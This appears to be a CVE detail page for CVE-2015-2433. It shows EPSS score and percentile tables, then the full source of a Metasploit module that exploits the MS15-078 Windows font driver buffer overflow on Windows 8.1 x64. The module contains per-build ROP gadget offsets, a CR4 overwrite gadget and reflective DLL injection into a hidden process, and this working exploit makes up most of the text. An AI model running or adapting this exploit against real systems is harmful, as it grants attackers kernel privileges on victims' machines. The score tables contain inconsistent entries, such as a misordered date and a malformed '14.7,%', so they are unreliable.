CVE-2015-2433 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.08%	–	–
2022-03-27	–	–	2.08%	–	–
2022-04-03	–	–	2.08%	–	–
2022-06-26	–	–	2.08%	–	–
2022-12-25	–	–	2.08%	–	–
2023-01-01	–	–	2.08%	–	–
2023-02-26	–	–	2.08%	–	–
2023-03-12	–	–	–	0.06%	–
2024-02-11	–	–	–	0.06%	–
2024-03-03	–	–	–	0.06%	–
2024-04-14	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-08-11	–	–	–	0.06%	–
2024-12-08	–	–	–	0.06%	–
2024-12-22	–	–	–	0.26%	–
2025-03-09	–	–	–	0.26%	–
2025-01-19	–	–	–	0.26%	–
2025-03-09	–	–	–	0.26%	–
2025-03-18	–	–	–	–	16.75%
2025-03-30	–	–	–	–	14.7%
2025-03-30	–	–	–	–	14.7,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	57%
2022-03-27	58%
2022-04-03	78%
2022-06-26	79%
2022-12-25	8%
2023-01-01	79%
2023-02-26	8%
2023-03-12	24%
2024-02-11	23%
2024-03-03	24%
2024-04-14	25%
2024-06-02	26%
2024-08-11	27%
2024-12-08	28%
2024-12-22	65%
2025-03-09	67%
2025-01-19	65%
2025-03-09	67%
2025-03-18	94%
2025-03-30	94%
2025-03-30	94%

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ManualRanking WIN32K_VERSIONS = [ '6.3.9600.17393', '6.3.9600.17630', '6.3.9600.17694', '6.3.9600.17796', '6.3.9600.17837', '6.3.9600.17915' ] NT_VERSIONS = [ '6.3.9600.17415', '6.3.9600.17630', '6.3.9600.17668', '6.3.9600.17936' ] include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow', 'Description' => %q{ This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing a malformed font. The vulnerability was exploited by the hacking team and disclosed on the july data leak. This module has been tested successfully on vulnerable builds of Windows 8.1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'Eugene Ching', # vulnerability discovery and exploit 'Mateusz Jurczyk', # vulnerability discovery 'Cedric Halbronn', # vulnerability and exploit analysis 'juan vazquez' # msf module ], 'Arch' => ARCH_X86_64, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows 8.1 x64', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-2426'], ['CVE', '2015-2433'], ['MSB', 'MS15-078'], ['MSB', 'MS15-080'], ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'], ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480'] ], 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0 })) end def patch_win32k_offsets(dll) @win32k_offsets.each do |k, v| case k when 'info_leak' dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<')) when 'pop_rax_ret' dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp' dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<')) when 'allocate_pool' dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<')) when 'pop_rcx_ret' dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<')) when 'deref_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<')) when 'mov_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<')) when 'pop_rbx_ret' dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<')) when 'ret' dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<')) when 'mov_rax_r11_ret' dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<')) when 'add_rax_rcx_ret' dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<')) when 'pop_rsp_ret' dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp_adjust' dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<')) when 'chwnd_delete' dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<')) end end end def set_win32k_offsets @win32k_offsets ||= Proc.new do |version| case version when '6.3.9600.17393' { 'info_leak' => 0x3cf00, 'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc4332, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x6e314, # ret C3 'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete } when '6.3.9600.17630' { 'info_leak' => 0x3d200, 'pop_rax_ret' => 0x19e9b, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x6024, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x84f4f, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3f7f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc3f82, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x7034e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xed33b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x146EE0 # CHwndTargetProp::Delete } when '6.3.9600.17694' { 'info_leak' => 0x3d300, 'pop_rax_ret' => 0x151f4, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x600c, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x2cf10, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3757, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc375a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3 'ret' => 0x6683, # ret C3 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecd7b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x71380, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x1513D8 # CHwndTargetProp::Delete } when '6.3.9600.17796' { 'info_leak' => 0x3d000, 'pop_rax_ret' => 0x19e4f, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x5f64, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a5e, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3aa7, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc3aaa, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3 'ret' => 0x1B21, # ret C3 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecf8b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x29fd3, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x150F58 # CHwndTargetProp::Delete } when '6.3.9600.17837' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1a51f, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x62b4, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete } when '6.3.9600.17915' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1A4EF, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x62CC, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x9765A, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xC364F, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xC3652, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3 'ret' => 0x14DC, # ret # C3 'mov_rax_r11_ret' => 0x7060e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xECDCB, # add rax, rcx # 48 03 C1 C3 'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete } else nil end end.call(@win32k) end def patch_nt_offsets(dll) @nt_offsets.each do |k, v| case k when 'set_cr4' dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<')) when 'allocate_pool_with_tag' dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<')) end end end def set_nt_offsets @nt_offsets ||= Proc.new do |version| case version when '6.3.9600.17415' { 'set_cr4' => 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2a3a50 # ExAllocatePoolWithTag } when '6.3.9600.17630' { 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag } when '6.3.9600.17668' { 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag } when '6.3.9600.17936' { 'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag } else nil end end.call(@ntoskrnl) end def atmfd_version file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("atmfd.dll file version: #{ver} branch: #{branch}") ver end def win32k_version file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("win32k.sys file version: #{ver} branch: #{branch}") ver end def ntoskrnl_version file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}") ver end def check # We have tested only windows 8.1 if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown end # We have tested only 64 bits if sysinfo['Architecture'] !~ /(wow|x)64/i return Exploit::CheckCode::Unknown end atmfd = atmfd_version # atmfd 5.1.2.238 => Works unless atmfd && Gem::Version.new(atmfd) <= Gem::Version.new('5.1.2.243') return Exploit::CheckCode::Safe end # win32k.sys 6.3.9600.17393 => Works @win32k = win32k_version unless @win32k && WIN32K_VERSIONS.include?(@win32k) return Exploit::CheckCode::Detected end # ntoskrnl.exe 6.3.9600.17415 => Works @ntoskrnl = ntoskrnl_version unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl) return Exploit::CheckCode::Unknown end Exploit::CheckCode::Appears end def exploit print_status('Checking target...') if is_system? fail_with(Failure::None, 'Session is already elevated') end check_result = check if check_result == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, 'Target not vulnerable') end if check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if check_result == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k') end unless get_target_arch == ARCH_X86_64 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...") set_win32k_offsets fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil? set_nt_offsets fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil? begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll') library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the exploit DLL into #{process.pid}...") dll = '' ::File.open(library_path, 'rb') { |f| dll = f.read } patch_win32k_offsets(dll) patch_nt_offsets(dll) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end